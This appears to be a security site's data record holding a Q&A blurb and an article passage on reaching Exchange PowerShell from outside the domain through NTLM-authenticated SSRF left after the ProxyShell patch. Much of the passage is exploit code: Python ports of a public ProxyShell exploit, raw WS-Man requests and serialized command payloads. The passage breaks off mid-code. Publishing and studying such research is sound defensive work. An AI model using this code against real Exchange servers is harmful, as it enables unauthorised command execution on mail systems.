[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$flCsaC7L-BiM1AIfpMdXETSfpzh4hg3lLejPoL2Wdw_4":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},601,"What is the conventional restriction for accessing Exchange PowerShell, and how does the article's method bypass it?","Conventionally, Exchange PowerShell requires a domain-joined host and uses FQDN, blocking external access. The article's method bypasses this by leveraging NTLM authentication after the ProxyShell patch (CVE-2022–41040), allowing remote command execution without domain membership. For more on ProxyShell exploitation, see [Penetration Techniques - Remote Access to Exchange PowerShell](\u002Fnews\u002Fpenetration-techniques-remote-access-to-exchange-powershell).","\u003Cp>Conventionally, Exchange PowerShell requires a domain-joined host and uses FQDN, blocking external access. The article&#39;s method bypasses this by leveraging NTLM authentication after the ProxyShell patch (CVE-2022–41040), allowing remote command execution without domain membership. For more on ProxyShell exploitation, see [Penetration Techniques - Remote Access to Exchange PowerShell](\u002Fnews\u002Fpenetration-techniques-remote-access-to-exchange-powershell).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fpenetration-techniques-remote-access-to-exchange-powershell\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","what-is-the-conventional-restriction-for-accessing-exchange-powershell-and-how-d-1777482824145","Exchange PowerShell, domain-joined host, NTLM authentication, ProxyShell, CVE-2022-41040, remote access",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},148,"Penetration Techniques - Remote Access to Exchange PowerShell","penetration-techniques-remote-access-to-exchange-powershell","Learn how to remotely access Exchange PowerShell using NTLM authentication, bypassing domain restrictions. Includes Python3 implementation details.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Exchange PowerShell is based on PowerShell Remoting and typically requires accessing the Exchange Server's port 80 from a domain-joined host, which imposes many restrictions. This article introduces an implementation method that does not rely on initiating connections from a domain-joined host, thereby expanding its applicability.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>This method was patched in CVE-2022–41040. The fix location: RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) in C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\Microsoft.Exchange.HttpProxy.Common.dll, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016711613_0_4dd0aa5e43.png\">\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Implementation Approach\u003C\u002Fli>\u003Cli>Implementation Details\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Implementation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In conventional usage, the following issues need to be considered when using Exchange PowerShell:\u003C\u002Fp>\u003Cul>\u003Cli>All domain users can connect to Exchange PowerShell\u003C\u002Fli>\u003Cli>Connection must be initiated from a host within the domain\u003C\u002Fli>\u003Cli>Connection address must use FQDN; IP addresses are not supported\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Conventional methods cannot initiate connections from outside the domain. However, as we know, ProxyShell can be used to initiate connections from outside the domain, leveraging SSRF to execute Exchange PowerShell\u003C\u002Fp>\u003Cp>Furthermore, after applying the ProxyShell patch, SSRF supporting NTLM authentication was not removed. We can access Exchange PowerShell again via NTLM authentication\u003C\u002Fp>\u003Ch2>0x03 Implementation Details\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In terms of code implementation, we can incorporate NTLM authentication to pass credentials. Example code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>from requests_ntlm import HttpNtlmAuth\u003Cbr>res = requests.post(url, data=post_data, headers=headers, verify=False, auth=HttpNtlmAuth(username, password))\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When executing Exchange PowerShell commands, we can choose pypsrp or Flask. Specific details can be referenced in previous articles: 'ProxyShell Exploitation Analysis 2—CVE-2021-34523' and 'ProxyShell Exploitation Analysis 3—Adding Users and File Writing'\u003C\u002Fp>\u003Cp>Both pypsrp and Flask work by establishing a web proxy to filter and modify communication data for command execution\u003C\u002Fp>\u003Cp>To increase the applicability of the code, an alternative implementation method is chosen here: simulate normal Exchange PowerShell communication data to achieve command execution\u003C\u002Fp>\u003Cp>Reference code: https:\u002F\u002Fgist.github.com\u002Frskvp93\u002F4e353e709c340cb18185f82dbec30e58\u003C\u002Fp>\u003Cp>The code uses Python2 and implements ProxyShell exploitation\u003C\u002Fp>\u003Cp>Based on this code, rewrite it to support Python3, with the functionality of accessing Exchange PowerShell via NTLM authentication to execute commands. Specific details to note are as follows:\u003C\u002Fp>\u003Ch3>1. Differences in string formatting between Python2 and Python3\u003C\u002Fh3>\u003Ch4>(1)\u003C\u002Fh4>\u003Cp>Code that works in Python2:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>class BasePacket:\u003Cbr>    def serialize(self):\u003Cbr>        Blob = ''.join([struct.pack('I', self.Destination),\u003Cbr>                struct.pack('I', self.MessageType),\u003Cbr>                self.RPID.bytes_le,\u003Cbr>                self.PID.bytes_le,\u003Cbr>                self.Data\u003Cbr>            ])\u003Cbr>        BlobLength = len(Blob)\u003Cbr>        output = ''.join([struct.pack('&gt;Q', self.ObjectId),\u003Cbr>            struct.pack('&gt;Q', self.FragmentId),\u003Cbr>            self.Flags,\u003Cbr>            struct.pack('&gt;I', BlobLength),\u003Cbr>            Blob ])\u003Cbr>        return output \u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When using the above code in Python3, Str needs to be converted to bytes, and to avoid invisible character parsing issues, the code structure has been redesigned. Python3 compatible code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def serialize(self):\u003Cbr>    Blob = struct.pack('I', self.Destination) + struct.pack('I', self.MessageType) + self.RPID.bytes_le + self.PID.bytes_le + self.Data.encode('utf-8')\u003Cbr>    BlobLength = len(Blob)\u003Cbr>    output = struct.pack('&gt;Q', self.ObjectId) + struct.pack('&gt;Q', self.FragmentId) + self.Flags.encode('utf-8') + struct.pack('&gt;I', BlobLength) + Blob       \u003Cbr>    return output\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(2)\u003C\u002Fh4>\u003Cp>Python2 compatible code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>class CreationXML:\u003Cbr>    def serialize(self):\u003Cbr>        output = self.sessionCapability.serialize() + self.initRunspacPool.serialize()\u003Cbr>        return base64.b64encode(output)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When using the above code in Python3, you need to convert Str to bytes. Example code usable in Python3:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def serialize(self):\u003Cbr>    output = self.sessionCapability.serialize() + self.initRunspacPool.serialize()\u003Cbr>    return base64.b64encode(output).decode('utf-8')\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(3)\u003C\u002Fh4>\u003Cp>Code usable in Python2:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def receive_data(SessionId, commonAccessToken, ShellId):\u003Cbr>    print \"[+] Receive data util get RunspaceState packet\"\u003Cbr>    headers = {\u003Cbr>        \"Content-Type\": \"application\u002Fsoap+xml;charset=UTF-8\"\u003Cbr>        }\u003Cbr>    url = \"\u002Fpowershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&amp;X-Rps-CAT={commonAccessToken}\".format(commonAccessToken=commonAccessToken)\u003Cbr>    MessageID = uuid.uuid4()\u003Cbr>    OperationID = uuid.uuid4()\u003Cbr>    request_data = \"\"\"\u003Cs:envelope xmlns:s=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\" xmlns:a=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2004\u002F08\u002Faddressing\" xmlns:w=\"http:\u002F\u002Fschemas.dmtf.org\u002Fwbem\u002Fwsman\u002F1\u002Fwsman.xsd\" xmlns:p=\"http:\u002F\u002Fschemas.microsoft.com\u002Fwbem\u002Fwsman\u002F1\u002Fwsman.xsd\">\u003Cbr>    \u003Cs:header>\u003Cbr>        \u003Ca:to>https:\u002F\u002Fexchange16.domaincorp.com:443\u002FPowerShell?PSVersion=5.1.19041.610\u003C\u002Fa:to>\u003Cbr>        \u003Cw:resourceuri s:mustunderstand=\"true\">http:\u002F\u002Fschemas.microsoft.com\u002Fpowershell\u002FMicrosoft.Exchange\u003C\u002Fw:resourceuri>\u003Cbr>        \u003Ca:replyto>\u003Cbr>            \u003Ca:address s:mustunderstand=\"true\">http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2004\u002F08\u002Faddressing\u002Frole\u002Fanonymous\u003C\u002Fa:address>\u003Cbr>        \u003C\u002Fa:replyto>\u003Cbr>        \u003Ca:action s:mustunderstand=\"true\">http:\u002F\u002Fschemas.microsoft.com\u002Fwbem\u002Fwsman\u002F1\u002Fwindows\u002Fshell\u002FReceive\u003C\u002Fa:action>\u003Cbr>        \u003Cw:maxenvelopesize s:mustunderstand=\"true\">512000\u003C\u002Fw:maxenvelopesize>\u003Cbr>        \u003Ca:messageid>uuid:{MessageID}\u003C\u002Fa:messageid>\u003Cbr>        \u003Cw:locale xml:lang=\"en-US\" s:mustunderstand=\"false\">\u003Cbr>        \u003Cp:datalocale xml:lang=\"en-US\" s:mustunderstand=\"false\">\u003Cbr>        \u003Cp:sessionid s:mustunderstand=\"false\">uuid:{SessionId}\u003C\u002Fp:sessionid>\u003Cbr>        \u003Cp:operationid s:mustunderstand=\"false\">uuid:{OperationID}\u003C\u002Fp:operationid>\u003Cbr>        \u003Cp:sequenceid s:mustunderstand=\"false\">1\u003C\u002Fp:sequenceid>\u003Cbr>        \u003Cw:selectorset>\u003Cbr>            \u003Cw:selector name=\"ShellId\">{ShellId}\u003C\u002Fw:selector>\u003Cbr>        \u003C\u002Fw:selectorset>\u003Cbr>        \u003Cw:optionset xmlns:xsi=\"http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema-instance\">\u003Cbr>            \u003Cw:option name=\"WSMAN_CMDSHELL_OPTION_KEEPALIVE\">TRUE\u003C\u002Fw:option>\u003Cbr>        \u003C\u002Fw:optionset>\u003Cbr>        \u003Cw:operationtimeout>PT180.000S\u003C\u002Fw:operationtimeout>\u003Cbr>    \u003C\u002Fp:datalocale>\u003C\u002Fw:locale>\u003C\u002Fs:header>\u003Cbr>    \u003Cs:body>\u003Cbr>        \u003Crsp:receive xmlns:rsp=\"http:\u002F\u002Fschemas.microsoft.com\u002Fwbem\u002Fwsman\u002F1\u002Fwindows\u002Fshell\" sequenceid=\"0\">\u003Cbr>            \u003Crsp:desiredstream>stdout\u003C\u002Frsp:desiredstream>\u003Cbr>        \u003C\u002Frsp:receive>\u003Cbr>    \u003C\u002Fs:body>\u003Cbr>\u003C\u002Fs:envelope>\"\"\".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId)\u003Cbr>    r = post_request(url, headers, request_data, {})\u003Cbr>    if r.status_code == 200:\u003Cbr>        doc = xml.dom.minidom.parseString(r.text);\u003Cbr>        elements = doc.getElementsByTagName(\"rsp:Stream\")\u003Cbr>        if len(elements) == 0:\u003Cbr>            print_error_and_exit(\"receive_data failed with no Stream return\", r)\u003Cbr>        for element in elements:\u003Cbr>            stream = element.firstChild.nodeValue\u003Cbr>            data = base64.b64decode(stream)\u003Cbr>            if 'RunspaceState' in data:\u003Cbr>                print \"[+] Found RunspaceState packet\"\u003Cbr>                return True\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When using the above code in Python3, you need to convert Str to bytes. To avoid issues with parsing invisible characters, do not use .decode('utf-8') here; instead, use .decode('ISO-8859-1')\u003C\u002Fp>\u003Cp>Example code usable in Python3:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>data = base64.b64decode(stream).decode('ISO-8859-1')\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. XML file format supporting Exchange Powershell commands\u003C\u002Fh3>\u003Cp>XML file format example 1:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cobj refid=\"0\">\u003Cms>\u003Cb n=\"NoInput\">true\u003C\u002Fb>\u003Cobj n=\"ApartmentState\" refid=\"1\">\u003Ctn refid=\"0\">\u003Ct>System.Management.Automation.Runspaces.ApartmentState\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Ctostring>UNKNOWN\u003C\u002Ftostring>\u003Ci32>2\u003C\u002Fi32>\u003C\u002Fobj>\u003Cobj n=\"RemoteStreamOptions\" refid=\"2\">\u003Ctn refid=\"1\">\u003Ct>System.Management.Automation.Runspaces.RemoteStreamOptions\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Ctostring>AddInvocationInfo\u003C\u002Ftostring>\u003Ci32>15\u003C\u002Fi32>\u003C\u002Fobj>\u003Cb n=\"AddToHistory\">false\u003C\u002Fb>\u003Cobj n=\"HostInfo\" refid=\"3\">\u003Cms>\u003Cb n=\"_isHostNull\">true\u003C\u002Fb>\u003Cb n=\"_isHostUINull\">true\u003C\u002Fb>\u003Cb n=\"_isHostRawUINull\">true\u003C\u002Fb>\u003Cb n=\"_useRunspaceHost\">true\u003C\u002Fb>\u003C\u002Fms>\u003C\u002Fobj>\u003Cobj n=\"PowerShell\" refid=\"4\">\u003Cms>\u003Cb n=\"IsNested\">false\u003C\u002Fb>\u003Cnil n=\"ExtraCmds\">\u003Cobj n=\"Cmds\" refid=\"5\">\u003Ctn refid=\"2\">\u003Ct>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Clst>\u003Cobj refid=\"6\">\u003Cms>\u003Cs n=\"Cmd\">Get-RoleGroupMember\u003C\u002Fs>\u003Cb n=\"IsScript\">false\u003C\u002Fb>\u003Cnil n=\"UseLocalScope\">\u003Cobj n=\"MergeMyResult\" refid=\"7\">\u003Ctn refid=\"3\">\u003Ct>System.Management.Automation.Runspaces.PipelineResultTypes\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Fobj>\u003Cobj n=\"MergeToResult\" refid=\"8\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergePreviousResults\" refid=\"9\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"Args\" refid=\"10\">\u003Ctnref refid=\"2\">\u003Clst>\u003Cobj refid=\"11\">\u003Cms>\u003Cnil n=\"N\">\u003Cs n=\"V\">Organization Management\u003C\u002Fs>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Flst>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeError\" refid=\"12\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeWarning\" refid=\"13\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeVerbose\" refid=\"14\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeDebug\" refid=\"15\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Flst>\u003C\u002Fobj>\u003Cnil n=\"History\">\u003Cb n=\"RedirectShellErrorOutputPipe\">false\u003C\u002Fb>\u003C\u002Fnil>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003Cb n=\"IsNested\">false\u003C\u002Fb>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The corresponding executed command is: Get-RoleGroupMember \"Organization Management\"\u003C\u002Fp>\u003Cp>XML file format example 2:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cobj refid=\"0\">\u003Cms>\u003Cb n=\"NoInput\">true\u003C\u002Fb>\u003Cobj n=\"ApartmentState\" refid=\"1\">\u003Ctn refid=\"0\">\u003Ct>System.Management.Automation.Runspaces.ApartmentState\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Ctostring>UNKNOWN\u003C\u002Ftostring>\u003Ci32>2\u003C\u002Fi32>\u003C\u002Fobj>\u003Cobj n=\"RemoteStreamOptions\" refid=\"2\">\u003Ctn refid=\"1\">\u003Ct>System.Management.Automation.Runspaces.RemoteStreamOptions\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Ctostring>AddInvocationInfo\u003C\u002Ftostring>\u003Ci32>15\u003C\u002Fi32>\u003C\u002Fobj>\u003Cb n=\"AddToHistory\">false\u003C\u002Fb>\u003Cobj n=\"HostInfo\" refid=\"3\">\u003Cms>\u003Cb n=\"_isHostNull\">true\u003C\u002Fb>\u003Cb n=\"_isHostUINull\">true\u003C\u002Fb>\u003Cb n=\"_isHostRawUINull\">true\u003C\u002Fb>\u003Cb n=\"_useRunspaceHost\">true\u003C\u002Fb>\u003C\u002Fms>\u003C\u002Fobj>\u003Cobj n=\"PowerShell\" refid=\"4\">\u003Cms>\u003Cb n=\"IsNested\">false\u003C\u002Fb>\u003Cnil n=\"ExtraCmds\">\u003Cobj n=\"Cmds\" refid=\"5\">\u003Ctn refid=\"2\">\u003Ct>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Clst>\u003Cobj refid=\"6\">\u003Cms>\u003Cs n=\"Cmd\">Get-Mailbox\u003C\u002Fs>\u003Cb n=\"IsScript\">false\u003C\u002Fb>\u003Cnil n=\"UseLocalScope\">\u003Cobj n=\"MergeMyResult\" refid=\"7\">\u003Ctn refid=\"3\">\u003Ct>System.Management.Automation.Runspaces.PipelineResultTypes\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Fobj>\u003Cobj n=\"MergeToResult\" refid=\"8\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergePreviousResults\" refid=\"9\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"Args\" refid=\"10\">\u003Ctnref refid=\"2\">\u003Clst>\u003Cobj refid=\"11\">\u003Cms>\u003Cs n=\"N\">-Identity\u003C\u002Fs>\u003Cs n=\"V\">administrator\u003C\u002Fs>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Flst>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeError\" refid=\"12\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeWarning\" refid=\"13\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeVerbose\" refid=\"14\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeDebug\" refid=\"15\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Flst>\u003C\u002Fobj>\u003Cnil n=\"History\">\u003Cb n=\"RedirectShellErrorOutputPipe\">false\u003C\u002Fb>\u003C\u002Fnil>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003Cb n=\"IsNested\">false\u003C\u002Fb>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The corresponding executed command is: Get-Mailbox -Identity administrator\u003C\u002Fp>\u003Cp>Through format analysis, the following conclusions can be drawn:\u003C\u002Fp>\u003Ch4>(1) The attribute Cmd corresponds to the command name\u003C\u002Fh4>\u003Cp>For example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cs n=\"Cmd\">Get-RoleGroupMember\u003C\u002Fs>\u003Cbr>\u003Cbr>\u003Cs n=\"Cmd\">Get-Mailbox\u003C\u002Fs>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(2) The format of the passed command parameters needs attention\u003C\u002Fh4>\u003Cp>If only one parameter is passed, the corresponding format is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cobj refid=\"11\">\u003Cms>\u003Cnil n=\"N\">\u003Cs n=\"V\">Organization Management\u003C\u002Fs>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If two parameters are passed, the corresponding format is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cobj refid=\"11\">\u003Cms>\u003Cs n=\"N\">-Identity\u003C\u002Fs>\u003Cs n=\"V\">administrator\u003C\u002Fs>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If four parameters are passed, the corresponding format is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cobj refid=\"11\">\u003Cms>\u003Cs n=\"N\">-Identity\u003C\u002Fs>\u003Cs n=\"V\">administrator\u003C\u002Fs>\u003C\u002Fms>\u003C\u002Fobj>\u003Cbr>\u003Cobj refid=\"12\">\u003Cms>\u003Cs n=\"N\">-ResultSize\u003C\u002Fs>\u003Cs n=\"V\">1024\u003C\u002Fs>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For this, we can use the following code to implement parameter filling:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def GenerateArgument(N_data, V_data):\u003Cbr>    if len(N_data) == 0:\u003Cbr>        Argument = \"\"\"\u003Cobj refid=\"13\">\u003Cms>\u003Cnil n=\"N\">\u003Cs n=\"V\">{V_data}\u003C\u002Fs>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\"\"\".format(V_data=V_data)\u003Cbr>    else:\u003Cbr>        Argument = \"\"\"\u003Cobj refid=\"13\">\u003Cms>\u003Cs n=\"N\">{N_data}\u003C\u002Fs>\u003Cs n=\"V\">{V_data}\u003C\u002Fs>\u003C\u002Fms>\u003C\u002Fobj>\"\"\".format(N_data=N_data, V_data=V_data)\u003Cbr>    return Argument\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Implementation code for constructing the XML file format:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>    commandData = \"\"\"\u003Cobj refid=\"0\">\u003Cms>\u003Cbr>    \u003Cobj n=\"PowerShell\" refid=\"1\">\u003Cms>\u003Cbr>        \u003Cobj n=\"Cmds\" refid=\"2\">\u003Cbr>            \u003Ctn refid=\"0\">\u003Cbr>                \u003Ct>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]\u003C\u002Ft>\u003Cbr>                \u003Ct>System.Object\u003C\u002Ft>\u003Cbr>            \u003C\u002Ftn>\u003Cbr>            \u003Clst>\u003Cbr>                \u003Cobj refid=\"3\">\u003Cms>\u003Cbr>                    \u003Cs n=\"Cmd\">{Cmdlet}\u003C\u002Fs>\u003Cbr>                    \u003Cb n=\"IsScript\">false\u003C\u002Fb>\u003Cbr>                    \u003Cnil n=\"UseLocalScope\">\u003Cbr>                    \u003Cobj n=\"MergeMyResult\" refid=\"4\">\u003Cbr>                        \u003Ctn refid=\"1\">\u003Cbr>                            \u003Ct>System.Management.Automation.Runspaces.PipelineResultTypes\u003C\u002Ft>\u003Cbr>                            \u003Ct>System.Enum\u003C\u002Ft>\u003Cbr>                            \u003Ct>System.ValueType\u003C\u002Ft>\u003Cbr>                            \u003Ct>System.Object\u003C\u002Ft>\u003Cbr>                        \u003C\u002Ftn>\u003Cbr>                        \u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003Cbr>                    \u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergeToResult\" refid=\"5\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergePreviousResults\" refid=\"6\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergeError\" refid=\"7\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergeWarning\" refid=\"8\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergeVerbose\" refid=\"9\">\u003Ctnref 